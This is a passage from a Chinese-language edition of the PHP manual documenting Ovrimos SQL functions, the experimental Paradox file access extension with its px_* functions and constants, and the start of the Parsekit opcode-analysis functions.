            echo "Execute ok!\n";
            ovrimos_result_all($res);
        } else {
            echo "Execute not ok!";
        }
        ovrimos_free_result($res);
    } else {
        echo "Prepare not ok!\n";
    }
    ovrimos_close($conn);
}
?>
This will connect to Ovrimos SQL Server, prepare a statement and the execute it.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_num_rows | 上一级 | ovrimos_result_all


ovrimos_result_all

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_result_all -- Prints the whole result set as an HTML table

Description

int ovrimos_result_all ( int result_id [, string format] )

ovrimos_result_all() prints the whole result set as an HTML table. Returns the number of rows in the generated table.

例子 1. Prepare a statement, execute, and view the result

<?php
$conn = ovrimos_connect("db_host", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res = ovrimos_prepare($conn, "select table_id, table_name
                                    from sys.tables where table_id = 7");
    if ($res != 0) {
        echo "Prepare ok!";
        if (ovrimos_execute($res, array(3))) {
            echo "Execute ok!\n";
            ovrimos_result_all($res);
        } else {
            echo "Execute not ok!";
        }
        ovrimos_free_result($res);
    } else {
        echo "Prepare not ok!\n";
    }
    ovrimos_close($conn);
}
?>
This will execute an SQL statement and print the result in an HTML table.

例子 2. ovrimos_result_all() with meta-information

<?php
$conn = ovrimos_connect("db_host", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res = ovrimos_exec($conn, "select table_id, table_name
                                 from sys.tables where table_id = 1");
    if ($res != 0) {
        echo "Statement ok! cursor=" . ovrimos_cursor($res) . "\n";
        $colnb = ovrimos_num_fields($res);
        echo "Output columns=" . $colnb . "\n";
        for ($i=1; $i <= $colnb; $i++) {
            $name = ovrimos_field_name($res, $i);
            $type = ovrimos_field_type($res, $i);
            $len = ovrimos_field_len($res, $i);
            echo "Column " . $i . " name=" . $name . " type=" . $type . " len=" . $len . "\n";
        }
        ovrimos_result_all($res);
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>

例子 3. ovrimos_result_all() example

<?php
$conn = ovrimos_connect("db_host", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res = ovrimos_exec($conn, "update test set i=5");
    if ($res != 0) {
        echo "Statement ok!";
        echo ovrimos_num_rows($res)." rows affected\n";
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_prepare | 上一级 | ovrimos_result


ovrimos_result

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_result -- Retrieves the output column

Description

string ovrimos_result ( int result_id, mixed field )

ovrimos_result() retrieves the output column specified by field, either as a string or as an 1-based index. Returns FALSE on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_result_all | 上一级 | ovrimos_rollback


ovrimos_rollback

(PHP 4 >= 4.0.3, PHP 5)

ovrimos_rollback -- Rolls back the transaction

Description

bool ovrimos_rollback ( int connection_id )

ovrimos_rollback() is used to roll back the transaction. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_result | 上一级 | Paradox File Access


Paradox File Access

PHP 手册
后退 前进

CIII. Paradox File Access

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

This module allows to read Paradox database and primary index files. It has initial support for creating Paradox databases. Consider it to be experimental due to lack of documentation of the Paradox file format.

注: This module has not been tested on other platforms than Debian/GNU Linux for PPC.

注: This module is also in development and may change, though I don't expect major changes to the API.

需求

You need at least PHP 5.0.0 and libpx >= 0.1.9. The paradox library (libpx) is available at http://pxlib.sourceforge.net.

安装

A short installation note: just type
$ pear install paradox
in your console.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

Object oriented API

The paradox extension provides also an object oriented API. It consists of only one class called paradox_doc. Its methods only differ from the functions in its name and of course the missing first parameter. The following table will list all methods and its equivalent functions.

表格 1. Methods of class paradox_doc

Name of method | Equivalent function
Constructor | px_new()
Destructor | px_delete()
open_fp() | px_open_fp()
create_fp() | px_create_fp()
close() | px_close()
numrecords() | px_numrecords()
numfields() | px_numfields()
get_record() | px_get_record()
put_record() | px_put_record()
get_field() | px_get_field()
get_schema() | px_get_schema()
get_info() | px_get_info()
set_parameter() | px_set_parameter()
get_parameter() | px_get_parameter()
set_value() | px_set_value()
get_value() | px_get_value()
get_info() | px_get_info()
set_targetencoding() | px_set_targetencoding()
set_tablename() | px_set_tablename()
set_blob_file() | px_set_blob_file()
timestamp2string() | px_timestamp2string()

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

The following two tables lists all constants defined by the paradox extension.

表格 2. Contants for field types

Name | Meaning
PX_FIELD_ALPHA | Character data with fixed length
PX_FIELD_DATE | Date
PX_FIELD_SHORT | Short integer (2 Bytes)
PX_FIELD_LONG | Long integer (4 Bytes)
PX_FIELD_CURRENCY | same as PX_FIELD_NUMBER
PX_FIELD_NUMBER | Double
PX_FIELD_LOGICAL | Boolean
PX_FIELD_MEMOBLOB | Binary large object (not supported)
PX_FIELD_BLOB | Binary large object (not supported)
PX_FIELD_FMTMEMOBLOB | Binary large object (not supported)
PX_FIELD_OLE | OLE object (basically a blob, not supported)
PX_FIELD_GRAPHIC | Graphic (basically a blob, not supported)
PX_FIELD_TIME | time
PX_FIELD_TIMESTAMP | timestamp (like the unix timestamp)
PX_FIELD_AUTOINC | Auto incrementing interger (like PX_FIELD_LONG)
PX_FIELD_BCD | Decimal number stored in bcd format (not supported)
PX_FIELD_BYTES | Array of Bytes with not more than 255 bytes (not supported)
PX_KEYTOLOWER |
PX_KEYTOUPPER |

表格 3. Contants for file types

Name | Meaning
PX_FILE_INDEX_DB | Indexed database
PX_FILE_PRIM_INDEX | Primary index
PX_FILE_NON_INDEX_DB | None indexed database
PX_FILE_NON_INC_SEC_INDEX | None incremental secondary index (not supported)
PX_FILE_SEC_INDEX | Secondary index (not supported)
PX_FILE_INC_SEC_INDEX | Incremental secondary index (not supported)
PX_FILE_NON_INC_SEC_INDEX_G | (not supported)
PX_FILE_SEC_INDEX_G | (not supported)
PX_FILE_INC_SEC_INDEX_G | (not supported)

目录
px_close -- Closes a paradox database
px_create_fp -- Create a new paradox database
px_delete -- Deletes resource of paradox database
px_get_field -- Returns the specification of a single field
px_get_info -- Return lots of information about a paradox file
px_get_parameter -- Gets a parameter
px_get_record -- Returns record of paradox database
px_get_schema -- Returns the database schema
px_get_value -- Gets a value
px_new -- Create a new paradox object
px_numfields -- Returns number of fields in a database
px_numrecords -- Returns number of records in a database
px_open_fp -- Open paradox database
px_put_record -- Stores record into paradox database
px_set_blob_file -- Sets the file where blobs are read from
px_set_parameter -- Sets a parameter
px_set_tablename -- Sets the name of a table (deprecated)
px_set_targetencoding -- Sets the encoding for character fields (deprecated)
px_set_value -- Sets a value
px_timestamp2string -- Converts the timestamp into a string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ovrimos_rollback | 上一级 | px_close


px_close

(PECL)

px_close -- Closes a paradox database

说明

bool px_close ( resource pxdoc )

Closes the paradox database. This function will not close the file. You will have to call fclose() afterwards.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

px_open_fp()
another_func()
The example at px_new()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Paradox File Access | 上一级 | px_create_fp


px_create_fp

(PECL)

px_create_fp -- Create a new paradox database

说明

bool px_create_fp ( resource pxdoc, resource file, array fielddesc )

Create a new paradox database file. The actual file has to be opened before with fopen(). Make sure the file is writable. The first parameter is the return value of px_new(). fielddesc is an array containing one element for each field containing its specification. Each field specification is an array itself with either two or three elements.The first element is always a string value used as the name of the field. It may not be larger than ten characters. The second element contains the field type which is one of the constants listed in the table Constants for field types. In the case of a character field, you will have to provide a third element specifying the length of the field.

注: This function is highly experimental, due to insufficient documentation of the paradox file format. Database files created with this function can be opened by px_open_fp() and has been successfully opened by the Paradox software, but your milage may vary.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Creating a Paradox database with two fields

<?php
if(!$pxdoc = px_new()) {
  /* Error handling */
}
$fp = fopen("test.db", "w+");
$fields = array(array("col1", "S"), array("col2", "I"));
if(!px_create_fp($pxdoc, $fp, $fields)) {
  /* Error handling */
}
px_set_tablename($pxdoc, "testtable");
for($i=-50; $i<50; $i++) {
  $rec = array($i, -$i);
  px_put_record($pxdoc, $rec);
}
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>

参见

px_new()
px_put_record()
fopen()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_close | 上一级 | px_delete


px_delete

(PECL)

px_delete -- Deletes resource of paradox database

说明

bool px_delete ( resource pxdoc )

Deletes the resource of the paradox file and frees all memory.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_create_fp | 上一级 | px_get_field


px_get_field

(PECL)

px_get_field -- Returns the specification of a single field

说明

array px_get_field ( resource pxdoc, int fieldno )

返回值

Returns the specification of the fieldno'th database field as an associated array. The array contains three fields named name, type, and size.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_delete | 上一级 | px_get_info


px_get_info

(PECL)

px_get_info -- Return lots of information about a paradox file

说明

array px_get_info ( resource pxdoc )

返回值

Returns an associated array with lots of information about a paradox file. This array is likely to extend in the future.

fileversion

Version of file multiplied by 10.

tablename

Name of table as stored in the file.

numrecords

Number of records in this table.

numfields

Number of fields in this table.

headersize

Number of bytes used for the header. This is usually 0x800.

maxtablesize

This value multiplied by 0x400 is the size of a data block in bytes.

numdatablocks

The number of data blocks in the file. Each data block contains a certain number of records which depends on the record size and the data block size (maxtablesize). Data blocks may not necessarily be completely filled.

numindexfields

Number of fields used for the primary index. The fields do always start as field number 1.

codepage

The DOS codepage which was used for encoding fields with character data. If the target encoding is not set with px_set_targetencoding() this will be the encoding for character fields when records are being accessed with px_get_record().

参见

px_numfields()
px_numrecords()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_get_field | 上一级 | px_get_parameter


px_get_parameter

(PECL)

px_get_parameter -- Gets a parameter

说明

string px_get_parameter ( resource pxdoc, string name )

Gets various parameters.

参数

The name can be one of the following:

tablename

The name of the table as it will be stored in the database header.

targetencoding

The encoding for the output. Data which is being read from character fields is being recode into the targetencoding.

inputencoding

The encoding of the input data which is to be stored into the database.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_get_info | 上一级 | px_get_record


px_get_record

(PECL)

px_get_record -- Returns record of paradox database

说明

array px_get_record ( resource pxdoc, int num [, int mode] )

参数

pxdoc

num

The record number is an artificial number counting records in the order as they are stored in the database. The first record has number 0.

mode

The optional mode can be PX_KEYTOLOWER or PX_KEYTOUPPER in order to convert the keys into lower or upper case. If mode is not passed or is 0, then the key will be exactly like the field name. The element values will contain the field values. NULL values will be retained and are different from 0.0, 0 or the empty string. Fields of type PX_FIELD_TIME will be returned as an integer counting the number of milliseconds starting at midnight. A timestamp is a floating point value also counting milliseconds starting at the beginning of julian calendar.

返回值

Returns the num'th record from the paradox database. The record is returned as an associated array with its keys being the field names.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_get_parameter | 上一级 | px_get_schema


px_get_schema

(PECL)

px_get_schema -- Returns the database schema

说明

array px_get_schema ( resource pxdoc [, int mode] )

px_get_schema() returns the database schema.

参数

pxdoc

mode

If the optional mode is PX_KEYTOLOWER or PX_KEYTOUPPER the key will be converted to lower or upper case. If mode is 0 or not passed at all, then the key name will be identical to the field name.

返回值

Returns the schema of a database file as an associated array. The key name is equal to the field name. Each array element is itself an associated array containing the two fields type and size. type is one of the constants in table Constants for field types.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_get_record | 上一级 | px_get_value


px_get_value

(PECL)

px_get_value -- Gets a value

说明

float px_get_value ( resource pxdoc, string name )

Gets various values.

参数

pxdoc

name

name can be one of the following.

numprimkeys

The number of primary keys. Paradox databases always use the first numprimkeys fields for the primary index.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_get_schema | 上一级 | px_new


px_new

(PECL)

px_new -- Create a new paradox object

说明

resource px_new ( void )

Create a new paradox object. You will have to call this function before any further functions. px_new() does not create any file on the disk, it justs creates an instance of a paradox object.

返回值

Returns FALSE on failure.

范例

例子 1. Opening a Paradox database

<?php
if(!$pxdoc = px_new()) {
  /* Error handling */
}
$fp = fopen("test.db", "r");
if(!px_open_fp($pxdoc, $fp)) {
  /* Error handling */
}
// ...
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>

If you prefer the object oriented API, then the above example will look like the following.

例子 2. Opening a Paradox database

<?php
$fp = fopen("test.db", "r");
$pxdoc = new paradox_db();
if(!$pxdoc->open_fp($fp)) {
  /* Error handling */
}
// ...
$pxdoc->close();
fclose($fp);
?>

参见

px_delete()
px_open_fp()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_get_value | 上一级 | px_numfields


px_numfields

(PECL)

px_numfields -- Returns number of fields in a database

说明

int px_numfields ( resource pxdoc )

Get the number of fields in a database file.

返回值

Returns the number of fields in a database file. The return value of this function is identical to the element numfields in the associated array returned by px_get_info().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_new | 上一级 | px_numrecords


px_numrecords

(PECL)

px_numrecords -- Returns number of records in a database

说明

int px_numrecords ( resource pxdoc )

Get the number of records in a database file.

返回值

Returns the number of records in a database file. The return value of this function is identical to the element numrecords in the associated array returned by px_get_info().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_numfields | 上一级 | px_open_fp


px_open_fp

(PECL)

px_open_fp -- Open paradox database

说明

bool px_open_fp ( resource pxdoc, resource file )

Open an existing paradox database file. The actual file has to be opened before with fopen(). This function can also be used to open primary index files and tread them like a paradox database. This is supported for those who would like to investigate a primary index. It cannot be used to accelerate access to a database file.

参数

pxdoc

pxdoc is the return value of px_new().

file

file is the return value from fopen() with the actual database file as parameter.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

fopen()
The example at px_new()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_numrecords | 上一级 | px_put_record


px_put_record

(PECL)

px_put_record -- Stores record into paradox database

说明

bool px_put_record ( resource pxdoc, array record )

Stores a record into a paradox database. The record is added at the end of the database.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_open_fp | 上一级 | px_set_blob_file


px_set_blob_file

(PECL)

px_set_blob_file -- Sets the file where blobs are read from

说明

bool px_set_blob_file ( resource pxdoc, string filename )

Sets the name of the file where blobs are going to be read from. Without calling this function, px_get_record() will only return data in blob fields if the data is part of the record and not stored in the blob file. Blob data is stored in the record if it is small enough to fit in the size of the blob field.

Calling this function twice will close the first blob file and open the new one.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_put_record | 上一级 | px_set_parameter


px_set_parameter

(PECL)

px_set_parameter -- Sets a parameter

说明

bool px_set_parameter ( resource pxdoc, string name, string value )

Sets various parameters.

参数

pxdoc

name

name can be one of the following.

tablename

The name of the table as it will be stored in the database header.

targetencoding

The encoding for the output. Data which is being read from character fields is being recode into the targetencoding.

inputencoding

The encoding of the input data which is to be stored into the database.

value

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

px_get_info() to determine the DOS code page.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_set_blob_file | 上一级 | px_set_tablename


px_set_tablename

(PECL)

px_set_tablename -- Sets the name of a table (deprecated)

说明

void px_set_tablename ( resource pxdoc, string name )

Sets the table name of a paradox database, which was created with px_create_fp(). Applying this function on an existing database has no effect.

返回值

Returns NULL on success or FALSE on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_set_parameter | 上一级 | px_set_targetencoding


px_set_targetencoding

(PECL)

px_set_targetencoding -- Sets the encoding for character fields (deprecated)

说明

bool px_set_targetencoding ( resource pxdoc, string encoding )

Set the encoding for data retrieved from a character field. All character fields will be recoded to the encoding set by this function. If the encoding is not set, the character data will be returned in the DOS code page encoding as specified in the database.

See also px_get_info() to determine the DOS code page.

返回值

Returns FALSE if the encoding could not be set, e.g. the encoding is unknown, or pxlib does not support recoding at all. In the second case a warning will be issued.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_set_tablename | 上一级 | px_set_value


px_set_value

(PECL)

px_set_value -- Sets a value

说明

bool px_set_value ( resource pxdoc, string name, float value )

Sets various values.

参数

pxdoc

name

name can be one of the following.

numprimkeys

The number of primary keys. Paradox databases always use the first numprimkeys fields for the primary index.

value

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_set_targetencoding | 上一级 | px_timestamp2string


px_timestamp2string

(PECL)

px_timestamp2string -- Converts the timestamp into a string.

说明

string px_timestamp2string ( resource pxdoc, float value, string format )

警告

本函数暂无文档，仅有参数列表。

参数

pxdoc

value

format

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_set_value | 上一级 | Parsekit Functions


Parsekit Functions

PHP 手册
后退 前进

CIV. Parsekit Functions

简介

These functions allow runtime analysis of opcodes compiled from PHP scripts.

安装

本 PECL 扩展未绑定于 PHP 中。

进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/parsekit.

可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

PARSEKIT_QUIET (int)

Return full detail, but without unnecessary NULL extries.

PARSEKIT_SIMPLE (int)

Return shorthand opcode notation.

PARSEKIT_EXTENDED_VALUE (int)

Opnode Flag

PARSEKIT_RESULT_CONST (int)

Opnode Flag

PARSEKIT_RESULT_EA_TYPE (int)

Opnode Flag

PARSEKIT_RESULT_JMP_ADDR (int)

Opnode Flag

PARSEKIT_RESULT_OPARRAY (int)

Opnode Flag

PARSEKIT_RESULT_OPLINE (int)

Opnode Flag

PARSEKIT_RESULT_VAR (int)

Opnode Flag

PARSEKIT_USAGE_UNKNOWN (int)

Opnode Flag

PARSEKIT_ZEND_INTERNAL_CLASS (int)

Class Type

PARSEKIT_ZEND_USER_CLASS (int)

Class Type

PARSEKIT_ZEND_EVAL_CODE (int)

Function Type

PARSEKIT_ZEND_INTERNAL_FUNCTION (int)

Function Type

PARSEKIT_ZEND_OVERLOADED_FUNCTION (int)

Function Type

PARSEKIT_ZEND_OVERLOADED_FUNCTION_TEMPORARY (int) PHP >= 5.0.0

Function Type

PARSEKIT_ZEND_USER_FUNCTION (int)

Function Type

PARSEKIT_IS_CONST (int)

Node Type

PARSEKIT_IS_TMP_VAR (int)

Node Type

PARSEKIT_IS_UNUSED (int)

Node Type

PARSEKIT_IS_VAR (int)

Node Type

PARSEKIT_ZEND_ADD (int)

Opcode

PARSEKIT_ZEND_ADD_ARRAY_ELEMENT (int)

Opcode

PARSEKIT_ZEND_ADD_CHAR (int)

Opcode

PARSEKIT_ZEND_ADD_INTERFACE (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_ADD_STRING (int)

Opcode

PARSEKIT_ZEND_ADD_VAR (int)

Opcode

PARSEKIT_ZEND_ASSIGN (int)

Opcode

PARSEKIT_ZEND_ASSIGN_ADD (int)

Opcode

PARSEKIT_ZEND_ASSIGN_BW_AND (int)

Opcode

PARSEKIT_ZEND_ASSIGN_BW_OR (int)

Opcode

PARSEKIT_ZEND_ASSIGN_BW_XOR (int)

Opcode

PARSEKIT_ZEND_ASSIGN_CONCAT (int)

Opcode

PARSEKIT_ZEND_ASSIGN_DIM (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_ASSIGN_DIV (int)

Opcode

PARSEKIT_ZEND_ASSIGN_MOD (int)

Opcode

PARSEKIT_ZEND_ASSIGN_MUL (int)

Opcode

PARSEKIT_ZEND_ASSIGN_OBJ (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_ASSIGN_REF (int)

Opcode

PARSEKIT_ZEND_ASSIGN_SL (int)

Opcode

PARSEKIT_ZEND_ASSIGN_SR (int)

Opcode

PARSEKIT_ZEND_ASSIGN_SUB (int)

Opcode

PARSEKIT_ZEND_BEGIN_SILENCE (int)

Opcode

PARSEKIT_ZEND_BOOL (int)

Opcode

PARSEKIT_ZEND_BOOL_NOT (int)

Opcode

PARSEKIT_ZEND_BOOL_XOR (int)

Opcode

PARSEKIT_ZEND_BRK (int)

Opcode

PARSEKIT_ZEND_BW_AND (int)

Opcode

PARSEKIT_ZEND_BW_NOT (int)

Opcode

PARSEKIT_ZEND_BW_OR (int)

Opcode

PARSEKIT_ZEND_BW_XOR (int)

Opcode

PARSEKIT_ZEND_CASE (int)

Opcode

PARSEKIT_ZEND_CAST (int)

Opcode

PARSEKIT_ZEND_CATCH (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_CLONE (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_CONCAT (int)

Opcode

PARSEKIT_ZEND_CONT (int)

Opcode

PARSEKIT_ZEND_DECLARE_CLASS (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_DECLARE_FUNCTION (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_DECLARE_INHERITED_CLASS (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_DIV (int)

Opcode

PARSEKIT_ZEND_DO_FCALL (int)

Opcode

PARSEKIT_ZEND_DO_FCALL_BY_NAME (int)

Opcode

PARSEKIT_ZEND_ECHO (int)

Opcode

PARSEKIT_ZEND_END_SILENCE (int)

Opcode

PARSEKIT_ZEND_EXIT (int)

Opcode

PARSEKIT_ZEND_EXT_FCALL_BEGIN (int)

Opcode

PARSEKIT_ZEND_EXT_FCALL_END (int)

Opcode

PARSEKIT_ZEND_EXT_NOP (int)

Opcode

PARSEKIT_ZEND_EXT_STMT (int)

Opcode

PARSEKIT_ZEND_FETCH_CLASS (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_FETCH_CONSTANT (int)

Opcode

PARSEKIT_ZEND_FETCH_DIM_FUNC_ARG (int)

Opcode

PARSEKIT_ZEND_FETCH_DIM_IS (int)

Opcode

PARSEKIT_ZEND_FETCH_DIM_R (int)

Opcode

PARSEKIT_ZEND_FETCH_DIM_RW (int)

Opcode

PARSEKIT_ZEND_FETCH_DIM_TMP_VAR (int)

Opcode

PARSEKIT_ZEND_FETCH_DIM_UNSET (int)

Opcode

PARSEKIT_ZEND_FETCH_DIM_W (int)

Opcode

PARSEKIT_ZEND_FETCH_FUNC_ARG (int)

Opcode

PARSEKIT_ZEND_FETCH_IS (int)

Opcode

PARSEKIT_ZEND_FETCH_OBJ_FUNC_ARG (int)

Opcode

PARSEKIT_ZEND_FETCH_OBJ_IS (int)

Opcode

PARSEKIT_ZEND_FETCH_OBJ_R (int)

Opcode

PARSEKIT_ZEND_FETCH_OBJ_RW (int)

Opcode

PARSEKIT_ZEND_FETCH_OBJ_UNSET (int)

Opcode

PARSEKIT_ZEND_FETCH_OBJ_W (int)

Opcode

PARSEKIT_ZEND_FETCH_R (int)

Opcode

PARSEKIT_ZEND_FETCH_RW (int)

Opcode

PARSEKIT_ZEND_FETCH_UNSET (int)

Opcode

PARSEKIT_ZEND_FETCH_W (int)

Opcode

PARSEKIT_ZEND_FE_FETCH (int)

Opcode

PARSEKIT_ZEND_FE_RESET (int)

Opcode

PARSEKIT_ZEND_FREE (int)

Opcode

PARSEKIT_ZEND_HANDLE_EXCEPTION (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_IMPORT_CLASS (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_IMPORT_CONST (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_IMPORT_FUNCTION (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_INCLUDE_OR_EVAL (int)

Opcode

PARSEKIT_ZEND_INIT_ARRAY (int)

Opcode

PARSEKIT_ZEND_INIT_CTOR_CALL (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_INIT_FCALL_BY_NAME (int)

Opcode

PARSEKIT_ZEND_INIT_METHOD_CALL (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_INIT_STATIC_METHOD_CALL (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_INIT_STRING (int)

Opcode

PARSEKIT_ZEND_INSTANCEOF (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_ISSET_ISEMPTY (int) PHP < 5.0.0

Opcode

PARSEKIT_ZEND_ISSET_ISEMPTY_DIM_OBJ (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_ISSET_ISEMPTY_PROP_OBJ (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_ISSET_ISEMPTY_VAR (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_IS_EQUAL (int)

Opcode

PARSEKIT_ZEND_IS_IDENTICAL (int)

Opcode

PARSEKIT_ZEND_IS_NOT_EQUAL (int)

Opcode

PARSEKIT_ZEND_IS_NOT_IDENTICAL (int)

Opcode

PARSEKIT_ZEND_IS_SMALLER (int)

Opcode

PARSEKIT_ZEND_IS_SMALLER_OR_EQUAL (int)

Opcode

PARSEKIT_ZEND_JMP (int)

Opcode

PARSEKIT_ZEND_JMPNZ (int)

Opcode

PARSEKIT_ZEND_JMPNZ_EX (int)

Opcode

PARSEKIT_ZEND_JMPZ (int)

Opcode

PARSEKIT_ZEND_JMPZNZ (int)

Opcode

PARSEKIT_ZEND_JMPZ_EX (int)

Opcode

PARSEKIT_ZEND_JMP_NO_CTOR (int)

Opcode

PARSEKIT_ZEND_MOD (int)

Opcode

PARSEKIT_ZEND_MUL (int)

Opcode

PARSEKIT_ZEND_NEW (int)

Opcode

PARSEKIT_ZEND_NOP (int)

Opcode

PARSEKIT_ZEND_OP_DATA (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_POST_DEC (int)

Opcode

PARSEKIT_ZEND_POST_DEC_OBJ (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_POST_INC (int)

Opcode

PARSEKIT_ZEND_POST_INC_OBJ (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_PRE_DEC (int)

Opcode

PARSEKIT_ZEND_PRE_DEC_OBJ (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_PRE_INC (int)

Opcode

PARSEKIT_ZEND_PRE_INC_OBJ (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_PRINT (int)

Opcode

PARSEKIT_ZEND_QM_ASSIGN (int)

Opcode

PARSEKIT_ZEND_RAISE_ABSTRACT_ERROR (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_RECV (int)

Opcode

PARSEKIT_ZEND_RECV_INIT (int)

Opcode

PARSEKIT_ZEND_RETURN (int)

Opcode

PARSEKIT_ZEND_SEND_REF (int)

Opcode

PARSEKIT_ZEND_SEND_VAL (int)

Opcode

PARSEKIT_ZEND_SEND_VAR (int)

Opcode

PARSEKIT_ZEND_SEND_VAR_NO_REF (int)

Opcode

PARSEKIT_ZEND_SL (int)

Opcode

PARSEKIT_ZEND_SR (int)

Opcode

PARSEKIT_ZEND_SUB (int)

Opcode

PARSEKIT_ZEND_SWITCH_FREE (int)

Opcode

PARSEKIT_ZEND_THROW (int) PHP >= 5.0.0

Opcode

PARSEKIT_ZEND_TICKS (int)

Opcode

PARSEKIT_ZEND_UNSET_DIM_OBJ (int)

Opcode

PARSEKIT_ZEND_UNSET_VAR (int)

Opcode

PARSEKIT_ZEND_VERIFY_ABSTRACT_CLASS (int) PHP >= 5.0.0

Opcode

目录
parsekit_compile_file -- Compile a string of PHP code and return the resulting op array
parsekit_compile_string -- Compile a string of PHP code and return the resulting op array
parsekit_func_arginfo -- Return information regarding function argument(s)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
px_timestamp2string | 上一级 | parsekit_compile_file


parsekit_compile_file

(PECL)

parsekit_compile_file -- Compile a string of PHP code and return the resulting op array

说明

array parsekit_compile_file ( string filename [, array &errors [, int options]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

filename

A string containing the name of the file to compile. Similar to the argument to include().

errors

A 2D hash of errors (including fatal errors) encountered during compilation. Returned by reference.

options

One of either PARSEKIT_QUIET or PARSEKIT_SIMPLE. To produce varying degrees of verbosity in the returned output.

返回值

Returns a complex multi-layer array structure as detailed below.

范例

例子 1. parsekit_compile_file() example

<?php
var_dump(parsekit_compile_file('hello_world.php', $errors, PARSEKIT_SIMPLE));
?>

上例将输出：

array(5) {
